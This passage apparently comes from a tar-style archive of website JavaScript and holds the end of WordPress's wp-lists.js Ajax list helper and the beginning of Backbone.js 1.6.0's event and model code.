addAfter: null, /** * Callback that's run before an item gets deleted from the list. * * Allows to cancel the request. * * @callback wpList~delBefore * @param {object} settings Settings for the Ajax request. * @param {HTMLElement} list The list DOM element. * @return {object|boolean} Settings for the Ajax request or false to abort. */ delBefore: null, /** * Callback that's run after an item got deleted from the list. * * @callback wpList~delAfter * @param {XML} returnedResponse Raw response returned from the server. * @param {object} settings Settings for the Ajax request. * @param {jqXHR} settings.xml jQuery XMLHttpRequest object. * @param {string} settings.status Status of the request: 'success', 'notmodified', 'nocontent', 'error', * 'timeout', 'abort', or 'parsererror'. * @param {object} settings.parsed Parsed response object. */ delAfter: null, /** * Callback that's run before an item gets dim'd. * * Allows to cancel the request. * * @callback wpList~dimBefore * @param {object} settings Settings for the Ajax request. * @return {object|boolean} Settings for the Ajax request or false to abort. */ dimBefore: null, /** * Callback that's run after an item got dim'd. * * @callback wpList~dimAfter * @param {XML} returnedResponse Raw response returned from the server. * @param {object} settings Settings for the Ajax request. * @param {jqXHR} settings.xml jQuery XMLHttpRequest object. * @param {string} settings.status Status of the request: 'success', 'notmodified', 'nocontent', 'error', * 'timeout', 'abort', or 'parsererror'. * @param {object} settings.parsed Parsed response object. */ dimAfter: null }, /** * Finds a nonce. * * 1. Nonce in settings. * 2. `_ajax_nonce` value in element's href attribute. * 3. `_ajax_nonce` input field that is a descendant of element. * 4. `_wpnonce` value in element's href attribute. * 5. `_wpnonce` input field that is a descendant of element. * 6. 0 if none can be found. * * @param {jQuery} element Element that triggered the request. * @param {Object} settings Settings for the Ajax request. * @return {string|number} Nonce */ nonce: function( element, settings ) { var url = wpAjax.unserialize( element.attr( 'href' ) ), $element = $( '#' + settings.element ); return settings.nonce || url._ajax_nonce || $element.find( 'input[name="_ajax_nonce"]' ).val() || url._wpnonce || $element.find( 'input[name="_wpnonce"]' ).val() || 0; }, /** * Extract list item data from a DOM element. * * Example 1: data-wp-lists="delete:the-comment-list:comment-{comment_ID}:66cc66:unspam=1" * Example 2: data-wp-lists="dim:the-comment-list:comment-{comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved" * * Returns an unassociative array with the following data: * data[0] - Data identifier: 'list', 'add', 'delete', or 'dim'. * data[1] - ID of the corresponding list. If data[0] is 'list', the type of list ('comment', 'category', etc). * data[2] - ID of the parent element of all inputs necessary for the request. * data[3] - Hex color to be used in this request. If data[0] is 'dim', dim class. * data[4] - Additional arguments in query syntax that are added to the request. Example: 'post_id=1234'. * If data[0] is 'dim', dim add color. * data[5] - Only available if data[0] is 'dim', dim delete color. * data[6] - Only available if data[0] is 'dim', additional arguments in query syntax that are added to the request. * * Result for Example 1: * data[0] - delete * data[1] - the-comment-list * data[2] - comment-{comment_ID} * data[3] - 66cc66 * data[4] - unspam=1 * * @param {HTMLElement} element The DOM element. * @param {string} type The type of data to look for: 'list', 'add', 'delete', or 'dim'. * @return {Array} Extracted list item data. */ parseData: function( element, type ) { var data = [], wpListsData; try { wpListsData = $( element ).data( 'wp-lists' ) || ''; wpListsData = wpListsData.match( new RegExp( type + ':[\\S]+' ) ); if ( wpListsData ) { data = wpListsData[0].split( ':' ); } } catch ( error ) {} return data; }, /** * Calls a confirm callback to verify the action that is about to be performed. * * @param {HTMLElement} list The DOM element. * @param {Object} settings Settings for this list. * @param {string} action The type of action to perform: 'add', 'delete', or 'dim'. * @return {Object|boolean} Settings if confirmed, false if not. */ pre: function( list, settings, action ) { var $element, backgroundColor, confirmed; settings = $.extend( {}, this.wpList.settings, { element: null, nonce: 0, target: list.get( 0 ) }, settings || {} ); if ( typeof settings.confirm === 'function' ) { $element = $( '#' + settings.element ); if ( 'add' !== action ) { backgroundColor = $element.css( 'backgroundColor' ); $element.css( 'backgroundColor', '#ff9966' ); } confirmed = settings.confirm.call( this, list, settings, action, backgroundColor ); if ( 'add' !== action ) { $element.css( 'backgroundColor', backgroundColor ); } if ( ! confirmed ) { return false; } } return settings; }, /** * Adds an item to the list via Ajax. * * @param {HTMLElement} element The DOM element. * @param {Object} settings Settings for this list. * @return {boolean} Whether the item was added. */ ajaxAdd: function( element, settings ) { var list = this, $element = $( element ), data = wpList.parseData( $element, 'add' ), formValues, formData, parsedResponse, returnedResponse; settings = settings || {}; settings = wpList.pre.call( list, $element, settings, 'add' ); settings.element = data[2] || $element.prop( 'id' ) || settings.element || null; settings.addColor = data[3] ? '#' + data[3] : settings.addColor; if ( ! settings ) { return false; } if ( ! $element.is( '[id="' + settings.element + '-submit"]' ) ) { return ! wpList.add.call( list, $element, settings ); } if ( ! settings.element ) { return true; } settings.action = 'add-' + settings.what; settings.nonce = wpList.nonce( $element, settings ); if ( ! wpAjax.validateForm( '#' + settings.element ) ) { return false; } settings.data = $.param( $.extend( { _ajax_nonce: settings.nonce, action: settings.action }, wpAjax.unserialize( data[4] || '' ) ) ); formValues = $( '#' + settings.element + ' :input' ).not( '[name="_ajax_nonce"], [name="_wpnonce"], [name="action"]' ); formData = typeof formValues.fieldSerialize === 'function' ? formValues.fieldSerialize() : formValues.serialize(); if ( formData ) { settings.data += '&' + formData; } if ( typeof settings.addBefore === 'function' ) { settings = settings.addBefore( settings ); if ( ! settings ) { return true; } } if ( ! settings.data.match( /_ajax_nonce=[a-f0-9]+/ ) ) { return true; } settings.success = function( response ) { parsedResponse = wpAjax.parseAjaxResponse( response, settings.response, settings.element ); returnedResponse = response; if ( ! parsedResponse || parsedResponse.errors ) { return false; } if ( true === parsedResponse ) { return true; } $.each( parsedResponse.responses, function() { wpList.add.call( list, this.data, $.extend( {}, settings, { // this.firstChild.nodevalue position: this.position || 0, id: this.id || 0, oldId: this.oldId || null } ) ); } ); list.wpList.recolor(); $( list ).trigger( 'wpListAddEnd', [ settings, list.wpList ] ); wpList.clear.call( list, '#' + settings.element ); }; settings.complete = function( jqXHR, status ) { if ( typeof settings.addAfter === 'function' ) { settings.addAfter( returnedResponse, $.extend( { xml: jqXHR, status: status, parsed: parsedResponse }, settings ) ); } }; $.ajax( settings ); return false; }, /** * Delete an item in the list via Ajax. * * @param {HTMLElement} element A DOM element containing item data. * @param {Object} settings Settings for this list. * @return {boolean} Whether the item was deleted. */ ajaxDel: function( element, settings ) { var list = this, $element = $( element ), data = wpList.parseData( $element, 'delete' ), $eventTarget, parsedResponse, returnedResponse; settings = settings || {}; settings = wpList.pre.call( list, $element, settings, 'delete' ); settings.element = data[2] || settings.element || null; settings.delColor = data[3] ? '#' + data[3] : settings.delColor; if ( ! settings || ! settings.element ) { return false; } settings.action = 'delete-' + settings.what; settings.nonce = wpList.nonce( $element, settings ); settings.data = $.extend( { _ajax_nonce: settings.nonce, action: settings.action, id: settings.element.split( '-' ).pop() }, wpAjax.unserialize( data[4] || '' ) ); if ( typeof settings.delBefore === 'function' ) { settings = settings.delBefore( settings, list ); if ( ! settings ) { return true; } } if ( ! settings.data._ajax_nonce ) { return true; } $eventTarget = $( '#' + settings.element ); if ( 'none' !== settings.delColor ) { $eventTarget.css( 'backgroundColor', settings.delColor ).fadeOut( 350, function() { list.wpList.recolor(); $( list ).trigger( 'wpListDelEnd', [ settings, list.wpList ] ); } ); } else { list.wpList.recolor(); $( list ).trigger( 'wpListDelEnd', [ settings, list.wpList ] ); } settings.success = function( response ) { parsedResponse = wpAjax.parseAjaxResponse( response, settings.response, settings.element ); returnedResponse = response; if ( ! parsedResponse || parsedResponse.errors ) { $eventTarget.stop().stop().css( 'backgroundColor', '#faa' ).show().queue( function() { list.wpList.recolor(); $( this ).dequeue(); } ); return false; } }; settings.complete = function( jqXHR, status ) { if ( typeof settings.delAfter === 'function' ) { $eventTarget.queue( function() { settings.delAfter( returnedResponse, $.extend( { xml: jqXHR, status: status, parsed: parsedResponse }, settings ) ); } ).dequeue(); } }; $.ajax( settings ); return false; }, /** * Dim an item in the list via Ajax. * * @param {HTMLElement} element A DOM element containing item data. * @param {Object} settings Settings for this list. * @return {boolean} Whether the item was dim'ed. */ ajaxDim: function( element, settings ) { var list = this, $element = $( element ), data = wpList.parseData( $element, 'dim' ), $eventTarget, isClass, color, dimColor, parsedResponse, returnedResponse; // Prevent hidden links from being clicked by hotkeys. if ( 'none' === $element.parent().css( 'display' ) ) { return false; } settings = settings || {}; settings = wpList.pre.call( list, $element, settings, 'dim' ); settings.element = data[2] || settings.element || null; settings.dimClass = data[3] || settings.dimClass || null; settings.dimAddColor = data[4] ? '#' + data[4] : settings.dimAddColor; settings.dimDelColor = data[5] ? '#' + data[5] : settings.dimDelColor; if ( ! settings || ! settings.element || ! settings.dimClass ) { return true; } settings.action = 'dim-' + settings.what; settings.nonce = wpList.nonce( $element, settings ); settings.data = $.extend( { _ajax_nonce: settings.nonce, action: settings.action, id: settings.element.split( '-' ).pop(), dimClass: settings.dimClass }, wpAjax.unserialize( data[6] || '' ) ); if ( typeof settings.dimBefore === 'function' ) { settings = settings.dimBefore( settings ); if ( ! settings ) { return true; } } $eventTarget = $( '#' + settings.element ); isClass = $eventTarget.toggleClass( settings.dimClass ).is( '.' + settings.dimClass ); color = wpList.getColor( $eventTarget ); dimColor = isClass ? settings.dimAddColor : settings.dimDelColor; $eventTarget.toggleClass( settings.dimClass ); if ( 'none' !== dimColor ) { $eventTarget .animate( { backgroundColor: dimColor }, 'fast' ) .queue( function() { $eventTarget.toggleClass( settings.dimClass ); $( this ).dequeue(); } ) .animate( { backgroundColor: color }, { complete: function() { $( this ).css( 'backgroundColor', '' ); $( list ).trigger( 'wpListDimEnd', [ settings, list.wpList ] ); } } ); } else { $( list ).trigger( 'wpListDimEnd', [ settings, list.wpList ] ); } if ( ! settings.data._ajax_nonce ) { return true; } settings.success = function( response ) { parsedResponse = wpAjax.parseAjaxResponse( response, settings.response, settings.element ); returnedResponse = response; if ( true === parsedResponse ) { return true; } if ( ! parsedResponse || parsedResponse.errors ) { $eventTarget.stop().stop().css( 'backgroundColor', '#ff3333' )[isClass ? 'removeClass' : 'addClass']( settings.dimClass ).show().queue( function() { list.wpList.recolor(); $( this ).dequeue(); } ); return false; } /** @property {string} comment_link Link of the comment to be dimmed. */ if ( 'undefined' !== typeof parsedResponse.responses[0].supplemental.comment_link ) { var $submittedOn = $element.find( '.submitted-on' ), $commentLink = $submittedOn.find( 'a' ); // Comment is approved; link the date field. if ( '' !== parsedResponse.responses[0].supplemental.comment_link ) { $submittedOn.html( $('<a></a>').text( $submittedOn.text() ).prop( 'href', parsedResponse.responses[0].supplemental.comment_link ) ); // Comment is not approved; unlink the date field. } else if ( $commentLink.length ) { $submittedOn.text( $commentLink.text() ); } } }; settings.complete = function( jqXHR, status ) { if ( typeof settings.dimAfter === 'function' ) { $eventTarget.queue( function() { settings.dimAfter( returnedResponse, $.extend( { xml: jqXHR, status: status, parsed: parsedResponse }, settings ) ); } ).dequeue(); } }; $.ajax( settings ); return false; }, /** * Returns the background color of the passed element. * * @param {jQuery|string} element Element to check. * @return {string} Background color value in HEX. Default: '#ffffff'. */ getColor: function( element ) { return $( element ).css( 'backgroundColor' ) || '#ffffff'; }, /** * Adds something. * * @param {HTMLElement} element A DOM element containing item data. * @param {Object} settings Settings for this list. * @return {boolean} Whether the item was added. */ add: function( element, settings ) { var $list = $( this ), $element = $( element ), old = false, position, reference; if ( 'string' === typeof settings ) { settings = { what: settings }; } settings = $.extend( { position: 0, id: 0, oldId: null }, this.wpList.settings, settings ); if ( ! $element.length || ! settings.what ) { return false; } if ( settings.oldId ) { old = $( '#' + settings.what + '-' + settings.oldId ); } if ( settings.id && ( settings.id !== settings.oldId || ! old || ! old.length ) ) { $( '#' + settings.what + '-' + settings.id ).remove(); } if ( old && old.length ) { old.before( $element ); old.remove(); } else if ( isNaN( settings.position ) ) { position = 'after'; if ( '-' === settings.position.substr( 0, 1 ) ) { settings.position = settings.position.substr( 1 ); position = 'before'; } reference = $list.find( '#' + settings.position ); if ( 1 === reference.length ) { reference[position]( $element ); } else { $list.append( $element ); } } else if ( 'comment' !== settings.what || 0 === $( '#' + settings.element ).length ) { if ( settings.position < 0 ) { $list.prepend( $element ); } else { $list.append( $element ); } } if ( settings.alt ) { $element.toggleClass( settings.alt, ( $list.children( ':visible' ).index( $element[0] ) + settings.altOffset ) % 2 ); } if ( 'none' !== settings.addColor ) { $element.css( 'backgroundColor', settings.addColor ).animate( { backgroundColor: wpList.getColor( $element ) }, { complete: function() { $( this ).css( 'backgroundColor', '' ); } } ); } // Add event handlers. $list.each( function( index, list ) { list.wpList.process( $element ); } ); return $element; }, /** * Clears all input fields within the element passed. * * @param {string} elementId ID of the element to check, including leading #. */ clear: function( elementId ) { var list = this, $element = $( elementId ), type, tagName; // Bail if we're within the list. if ( list.wpList && $element.parents( '#' + list.id ).length ) { return; } // Check each input field. $element.find( ':input' ).each( function( index, input ) { // Bail if the form was marked to not to be cleared. if ( $( input ).parents( '.form-no-clear' ).length ) { return; } type = input.type.toLowerCase(); tagName = input.tagName.toLowerCase(); if ( 'text' === type || 'password' === type || 'textarea' === tagName ) { input.value = ''; } else if ( 'checkbox' === type || 'radio' === type ) { input.checked = false; } else if ( 'select' === tagName ) { input.selectedIndex = null; } } ); }, /** * Registers event handlers to add, delete, and dim items. * * @param {string} elementId */ process: function( elementId ) { var list = this, $element = $( elementId || document ); $element.on( 'submit', 'form[data-wp-lists^="add:' + list.id + ':"]', function() { return list.wpList.add( this ); } ); $element.on( 'click', '[data-wp-lists^="add:' + list.id + ':"], input[data-wp-lists^="add:' + list.id + ':"]', function() { return list.wpList.add( this ); } ); $element.on( 'click', '[data-wp-lists^="delete:' + list.id + ':"]', function() { return list.wpList.del( this ); } ); $element.on( 'click', '[data-wp-lists^="dim:' + list.id + ':"]', function() { return list.wpList.dim( this ); } ); }, /** * Updates list item background colors. */ recolor: function() { var list = this, evenOdd = [':even', ':odd'], items; // Bail if there is no alternate class name specified. if ( ! list.wpList.settings.alt ) { return; } items = $( '.list-item:visible', list ); if ( ! items.length ) { items = $( list ).children( ':visible' ); } if ( list.wpList.settings.altOffset % 2 ) { evenOdd.reverse(); } items.filter( evenOdd[0] ).addClass( list.wpList.settings.alt ).end(); items.filter( evenOdd[1] ).removeClass( list.wpList.settings.alt ); }, /** * Sets up `process()` and `recolor()` functions. */ init: function() { var $list = this; $list.wpList.process = function( element ) { $list.each( function() { this.wpList.process( element ); } ); }; $list.wpList.recolor = function() { $list.each( function() { this.wpList.recolor(); } ); }; } }; /** * Initializes wpList object. * * @param {Object} settings * @param {string} settings.url URL for ajax calls. Default: ajaxurl. * @param {string} settings.type The HTTP method to use for Ajax requests. Default: 'POST'. * @param {string} settings.response ID of the element the parsed ajax response will be stored in. * Default: 'ajax-response'. * * @param {string} settings.what Default: ''. * @param {string} settings.alt CSS class name for alternate styling. Default: 'alternate'. * @param {number} settings.altOffset Offset to start alternate styling from. Default: 0. * @param {string} settings.addColor Hex code or 'none' to disable animation. Default: '#ffff33'. * @param {string} settings.delColor Hex code or 'none' to disable animation. Default: '#faafaa'. * @param {string} settings.dimAddColor Hex code or 'none' to disable animation. Default: '#ffff33'. * @param {string} settings.dimDelColor Hex code or 'none' to disable animation. Default: '#ff3333'. * * @param {wpList~confirm} settings.confirm Callback that's run before a request is made. Default: null. * @param {wpList~addBefore} settings.addBefore Callback that's run before an item gets added to the list. * Default: null. * @param {wpList~addAfter} settings.addAfter Callback that's run after an item got added to the list. * Default: null. * @param {wpList~delBefore} settings.delBefore Callback that's run before an item gets deleted from the list. * Default: null. * @param {wpList~delAfter} settings.delAfter Callback that's run after an item got deleted from the list. * Default: null. * @param {wpList~dimBefore} settings.dimBefore Callback that's run before an item gets dim'd. Default: null. * @param {wpList~dimAfter} settings.dimAfter Callback that's run after an item got dim'd. Default: null. * @return {$.fn} wpList API function. */ $.fn.wpList = function( settings ) { this.each( function( index, list ) { list.wpList = { settings: $.extend( {}, wpList.settings, { what: wpList.parseData( list, 'list' )[1] || '' }, settings ) }; $.each( functions, function( func, callback ) { list.wpList[func] = function( element, setting ) { return wpList[callback].call( list, element, setting ); }; } ); } ); wpList.init.call( this ); this.wpList.process(); return this; }; } ) ( jQuery ); backbone.js 0000644 00000235006 15111757752 0006667 0 ustar 00 // Backbone.js 1.6.0 // (c) 2010-2024 Jeremy Ashkenas and DocumentCloud // Backbone may be freely distributed under the MIT license. // For all details and documentation: // http://backbonejs.org (function(factory) { // Establish the root object, `window` (`self`) in the browser, or `global` on the server. // We use `self` instead of `window` for `WebWorker` support. var root = typeof self == 'object' && self.self === self && self || typeof global == 'object' && global.global === global && global; // Set up Backbone appropriately for the environment. Start with AMD. if (typeof define === 'function' && define.amd) { define(['underscore', 'jquery', 'exports'], function(_, $, exports) { // Export global even in AMD case in case this script is loaded with // others that may still expect a global Backbone. root.Backbone = factory(root, exports, _, $); }); // Next for Node.js or CommonJS. jQuery may not be needed as a module. } else if (typeof exports !== 'undefined') { var _ = require('underscore'), $; try { $ = require('jquery'); } catch (e) {} factory(root, exports, _, $); // Finally, as a browser global. } else { root.Backbone = factory(root, {}, root._, root.jQuery || root.Zepto || root.ender || root.$); } })(function(root, Backbone, _, $) { // Initial Setup // ------------- // Save the previous value of the `Backbone` variable, so that it can be // restored later on, if `noConflict` is used. var previousBackbone = root.Backbone; // Create a local reference to a common array method we'll want to use later. var slice = Array.prototype.slice; // Current version of the library. Keep in sync with `package.json`. Backbone.VERSION = '1.6.0'; // For Backbone's purposes, jQuery, Zepto, Ender, or My Library (kidding) owns // the `$` variable. Backbone.$ = $; // Runs Backbone.js in *noConflict* mode, returning the `Backbone` variable // to its previous owner. Returns a reference to this Backbone object. Backbone.noConflict = function() { root.Backbone = previousBackbone; return this; }; // Turn on `emulateHTTP` to support legacy HTTP servers. Setting this option // will fake `"PATCH"`, `"PUT"` and `"DELETE"` requests via the `_method` parameter and // set a `X-Http-Method-Override` header. Backbone.emulateHTTP = false; // Turn on `emulateJSON` to support legacy servers that can't deal with direct // `application/json` requests ... this will encode the body as // `application/x-www-form-urlencoded` instead and will send the model in a // form param named `model`. Backbone.emulateJSON = false; // Backbone.Events // --------------- // A module that can be mixed in to *any object* in order to provide it with // a custom event channel. You may bind a callback to an event with `on` or // remove with `off`; `trigger`-ing an event fires all callbacks in // succession. // // var object = {}; // _.extend(object, Backbone.Events); // object.on('expand', function(){ alert('expanded'); }); // object.trigger('expand'); // var Events = Backbone.Events = {}; // Regular expression used to split event strings. var eventSplitter = /\s+/; // A private global variable to share between listeners and listenees. var _listening; // Iterates over the standard `event, callback` (as well as the fancy multiple // space-separated events `"change blur", callback` and jQuery-style event // maps `{event: callback}`). var eventsApi = function(iteratee, events, name, callback, opts) { var i = 0, names; if (name && typeof name === 'object') { // Handle event maps. if (callback !== void 0 && 'context' in opts && opts.context === void 0) opts.context = callback; for (names = _.keys(name); i < names.length ; i++) { events = eventsApi(iteratee, events, names[i], name[names[i]], opts); } } else if (name && eventSplitter.test(name)) { // Handle space-separated event names by delegating them individually. for (names = name.split(eventSplitter); i < names.length; i++) { events = iteratee(events, names[i], callback, opts); } } else { // Finally, standard events. events = iteratee(events, name, callback, opts); } return events; }; // Bind an event to a `callback` function. Passing `"all"` will bind // the callback to all events fired. Events.on = function(name, callback, context) { this._events = eventsApi(onApi, this._events || {}, name, callback, { context: context, ctx: this, listening: _listening }); if (_listening) { var listeners = this._listeners || (this._listeners = {}); listeners[_listening.id] = _listening; // Allow the listening to use a counter, instead of tracking // callbacks for library interop _listening.interop = false; } return this; }; // Inversion-of-control versions of `on`. Tell *this* object to listen to // an event in another object... keeping track of what it's listening to // for easier unbinding later. Events.listenTo = function(obj, name, callback) { if (!obj) return this; var id = obj._listenId || (obj._listenId = _.uniqueId('l')); var listeningTo = this._listeningTo || (this._listeningTo = {}); var listening = _listening = listeningTo[id]; // This object is not listening to any other events on `obj` yet. // Setup the necessary references to track the listening callbacks. if (!listening) { this._listenId || (this._listenId = _.uniqueId('l')); listening = _listening = listeningTo[id] = new Listening(this, obj); } // Bind callbacks on obj. var error = tryCatchOn(obj, name, callback, this); _listening = void 0; if (error) throw error; // If the target obj is not Backbone.Events, track events manually. if (listening.interop) listening.on(name, callback); return this; }; // The reducing API that adds a callback to the `events` object. var onApi = function(events, name, callback, options) { if (callback) { var handlers = events[name] || (events[name] = []); var context = options.context, ctx = options.ctx, listening = options.listening; if (listening) listening.count++; handlers.push({callback: callback, context: context, ctx: context || ctx, listening: listening}); } return events; }; // An try-catch guarded #on function, to prevent poisoning the global // `_listening` variable. var tryCatchOn = function(obj, name, callback, context) { try { obj.on(name, callback, context); } catch (e) { return e; } }; // Remove one or many callbacks. If `context` is null, removes all // callbacks with that function. If `callback` is null, removes all // callbacks for the event. If `name` is null, removes all bound // callbacks for all events. Events.off = function(name, callback, context) { if (!this._events) return this; this._events = eventsApi(offApi, this._events, name, callback, { context: context, listeners: this._listeners }); return this; }; // Tell this object to stop listening to either specific events ... or // to every object it's currently listening to. Events.stopListening = function(obj, name, callback) { var listeningTo = this._listeningTo; if (!listeningTo) return this; var ids = obj ? [obj._listenId] : _.keys(listeningTo); for (var i = 0; i < ids.length; i++) { var listening = listeningTo[ids[i]]; // If listening doesn't exist, this object is not currently // listening to obj. Break out early. if (!listening) break; listening.obj.off(name, callback, this); if (listening.interop) listening.off(name, callback); } if (_.isEmpty(listeningTo)) this._listeningTo = void 0; return this; }; // The reducing API that removes a callback from the `events` object. var offApi = function(events, name, callback, options) { if (!events) return; var context = options.context, listeners = options.listeners; var i = 0, names; // Delete all event listeners and "drop" events. if (!name && !context && !callback) { for (names = _.keys(listeners); i < names.length; i++) { listeners[names[i]].cleanup(); } return; } names = name ? [name] : _.keys(events); for (; i < names.length; i++) { name = names[i]; var handlers = events[name]; // Bail out if there are no events stored. if (!handlers) break; // Find any remaining events. var remaining = []; for (var j = 0; j < handlers.length; j++) { var handler = handlers[j]; if ( callback && callback !== handler.callback && callback !== handler.callback._callback || context && context !== handler.context ) { remaining.push(handler); } else { var listening = handler.listening; if (listening) listening.off(name, callback); } } // Replace events if there are any remaining. Otherwise, clean up. if (remaining.length) { events[name] = remaining; } else { delete events[name]; } } return events; }; // Bind an event to only be triggered a single time. After the first time // the callback is invoked, its listener will be removed. If multiple events // are passed in using the space-separated syntax, the handler will fire // once for each event, not once for a combination of all events. Events.once = function(name, callback, context) { // Map the event into a `{event: once}` object. var events = eventsApi(onceMap, {}, name, callback, this.off.bind(this)); if (typeof name === 'string' && context == null) callback = void 0; return this.on(events, callback, context); }; // Inversion-of-control versions of `once`. Events.listenToOnce = function(obj, name, callback) { // Map the event into a `{event: once}` object. var events = eventsApi(onceMap, {}, name, callback, this.stopListening.bind(this, obj)); return this.listenTo(obj, events); }; // Reduces the event callbacks into a map of `{event: onceWrapper}`. // `offer` unbinds the `onceWrapper` after it has been called. var onceMap = function(map, name, callback, offer) { if (callback) { var once = map[name] = _.once(function() { offer(name, once); callback.apply(this, arguments); }); once._callback = callback; } return map; }; // Trigger one or many events, firing all bound callbacks. Callbacks are // passed the same arguments as `trigger` is, apart from the event name // (unless you're listening on `"all"`, which will cause your callback to // receive the true name of the event as the first argument). Events.trigger = function(name) { if (!this._events) return this; var length = Math.max(0, arguments.length - 1); var args = Array(length); for (var i = 0; i < length; i++) args[i] = arguments[i + 1]; eventsApi(triggerApi, this._events, name, void 0, args); return this; }; // Handles triggering the appropriate event callbacks. var triggerApi = function(objEvents, name, callback, args) { if (objEvents) { var events = objEvents[name]; var allEvents = objEvents.all; if (events && allEvents) allEvents = allEvents.slice(); if (events) triggerEvents(events, args); if (allEvents) triggerEvents(allEvents, [name].concat(args)); } return objEvents; }; // A difficult-to-believe, but optimized internal dispatch function for // triggering events. Tries to keep the usual cases speedy (most internal // Backbone events have 3 arguments). var triggerEvents = function(events, args) { var ev, i = -1, l = events.length, a1 = args[0], a2 = args[1], a3 = args[2]; switch (args.length) { case 0: while (++i < l) (ev = events[i]).callback.call(ev.ctx); return; case 1: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1); return; case 2: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2); return; case 3: while (++i < l) (ev = events[i]).callback.call(ev.ctx, a1, a2, a3); return; default: while (++i < l) (ev = events[i]).callback.apply(ev.ctx, args); return; } }; // A listening class that tracks and cleans up memory bindings // when all callbacks have been offed. var Listening = function(listener, obj) { this.id = listener._listenId; this.listener = listener; this.obj = obj; this.interop = true; this.count = 0; this._events = void 0; }; Listening.prototype.on = Events.on; // Offs a callback (or several). // Uses an optimized counter if the listenee uses Backbone.Events. // Otherwise, falls back to manual tracking to support events // library interop. Listening.prototype.off = function(name, callback) { var cleanup; if (this.interop) { this._events = eventsApi(offApi, this._events, name, callback, { context: void 0, listeners: void 0 }); cleanup = !this._events; } else { this.count--; cleanup = this.count === 0; } if (cleanup) this.cleanup(); }; // Cleans up memory bindings between the listener and the listenee. Listening.prototype.cleanup = function() { delete this.listener._listeningTo[this.obj._listenId]; if (!this.interop) delete this.obj._listeners[this.id]; }; // Aliases for backwards compatibility. Events.bind = Events.on; Events.unbind = Events.off; // Allow the `Backbone` object to serve as a global event bus, for folks who // want global "pubsub" in a convenient place. _.extend(Backbone, Events); // Backbone.Model // -------------- // Backbone **Models** are the basic data object in the framework -- // frequently representing a row in a table in a database on your server. // A discrete chunk of data and a bunch of useful, related methods for // performing computations and transformations on that data. // Create a new model with the specified attributes. A client id (`cid`) // is automatically generated and assigned for you. var Model = Backbone.Model = function(attributes, options) { var attrs = attributes || {}; options || (options = {}); this.preinitialize.apply(this, arguments); this.cid = _.uniqueId(this.cidPrefix); this.attributes = {}; if (options.collection) this.collection = options.collection; if (options.parse) attrs = this.parse(attrs, options) || {}; var defaults = _.result(this, 'defaults'); // Just _.defaults would work fine, but the additional _.extends // is in there for historical reasons. See #3843. attrs = _.defaults(_.extend({}, defaults, attrs), defaults); this.set(attrs, options); this.changed = {}; this.initialize.apply(this, arguments); }; // Attach all inheritable methods to the Model prototype. _.extend(Model.prototype, Events, { // A hash of attributes whose current and previous value differ. changed: null, // The value returned during the last failed validation. validationError: null, // The default name for the JSON `id` attribute is `"id"`. MongoDB and // CouchDB users may want to set this to `"_id"`. idAttribute: 'id', // The prefix is used to create the client id which is used to identify models locally. // You may want to override this if you're experiencing name clashes with model ids. cidPrefix: 'c', // preinitialize is an empty function by default. You can override it with a function // or object. preinitialize will run before any instantiation logic is run in the Model. preinitialize: function(){}, // Initialize is an empty function by default. Override it with your own // initialization logic. initialize: function(){}, // Return a copy of the model's `attributes` object. toJSON: function(options) { return _.clone(this.attributes); }, // Proxy `Backbone.sync` by default -- but override this if you need // custom syncing semantics for *this* particular model. sync: function() { return Backbone.sync.apply(this, arguments); }, // Get the value of an attribute. get: function(attr) { return this.attributes[attr]; }, // Get the HTML-escaped value of an attribute. escape: function(attr) { return _.escape(this.get(attr)); }, // Returns `true` if the attribute contains a value that is not null // or undefined. has: function(attr) { return this.get(attr) != null; }, // Special-cased proxy to underscore's `_.matches` method. matches: function(attrs) { return !!_.iteratee(attrs, this)(this.attributes); }, // Set a hash of model attributes on the object, firing `"change"`. This is // the core primitive operation of a model, updating the data and notifying // anyone who needs to know about the change in state. The heart of the beast. set: function(key, val, options) { if (key == null) return this; // Handle both `"key", value` and `{key: value}` -style arguments. var attrs; if (typeof key === 'object') { attrs = key; options = val; } else { (attrs = {})[key] = val; } options || (options = {}); // Run validation. if (!this._validate(attrs, options)) return false; // Extract attributes and options. var unset = options.unset; var silent = options.silent; var changes = []; var changing = this._changing; this._changing = true; if (!changing) { this._previousAttributes = _.clone(this.attributes); this.changed = {}; } var current = this.attributes; var changed = this.changed; var prev = this._previousAttributes; // For each `set` attribute, update or delete the current value. for (var attr in attrs) { val = attrs[attr]; if (!_.isEqual(current[attr], val)) changes.push(attr); if (!_.isEqual(prev[attr], val)) { changed[attr] = val; } else { delete changed[attr]; } unset ? delete current[attr] : current[attr] = val; } // Update the `id`. if (this.idAttribute in attrs) { var prevId = this.id; this.id = this.get(this.idAttribute); this.trigger('changeId', this, prevId, options); } // Trigger all relevant attribute changes. if (!silent) { if (changes.length) this._pending = options; for (var i = 0; i < changes.length; i++) { this.trigger('change:' + changes[i], this, current[changes[i]], options); } } // You might be wondering why there's a `while` loop here. Changes can // be recursively nested within `"change"` events. if (changing) return this; if (!silent) { while (this._pending) { options = this._pending; this._pending = false; this.trigger('change', this, options); } } this._pending = false; this._changing = false; return this; }, // Remove an attribute from the model, firing `"change"`. `unset` is a noop // if the attribute doesn't exist. unset: function(attr, options) { return this.set(attr, void 0, _.extend({}, options, {unset: true})); }, // Clear all attributes on the model, firing `"change"`. clear: function(options) { var attrs = {}; for (var key in this.attributes) attrs[key] = void 0; return this.set(attrs, _.extend({}, options, {unset: true})); }, // Determine if the model has changed since the last `"change"` event. // If you specify an attribute name, determine if that attribute has changed. hasChanged: function(attr) { if (attr == null) return !_.isEmpty(this.changed); return _.has(this.changed, attr); }, // Return an object containing all the attributes that have changed, or // false if there are no changed attributes. Useful for determining what // parts of a view need to be updated and/or what attributes need to be // persisted to the server. Unset attributes will be set to undefined. // You can also pass an attributes object to diff against the model, // determining if there *would be* a change. changedAttributes: function(diff) { if (!diff) return this.hasChanged() ? _.clone(this.changed) : false; var old = this._changing ? this._previousAttributes : this.attributes; var changed = {}; var hasChanged; for (var attr in diff) { var val = diff[attr]; if (_.isEqual(old[attr], val)) continue; changed[attr] = val; hasChanged = true; } return hasChanged ? changed : false; }, // Get the previous value of an attribute, recorded at the time the last // `"change"` event was fired. previous: function(attr) { if (attr == null || !this._previousAttributes) return null; return this._previousAttributes[attr]; }, // Get all of the attributes of the model at the time of the previous // `"change"` event. previousAttributes: function() { return _.clone(this._previousAttributes); }, // Fetch the model from the server, merging the response with the model's // local attributes. Any changed attributes will trigger a "change" event. fetch: function(options) { options = 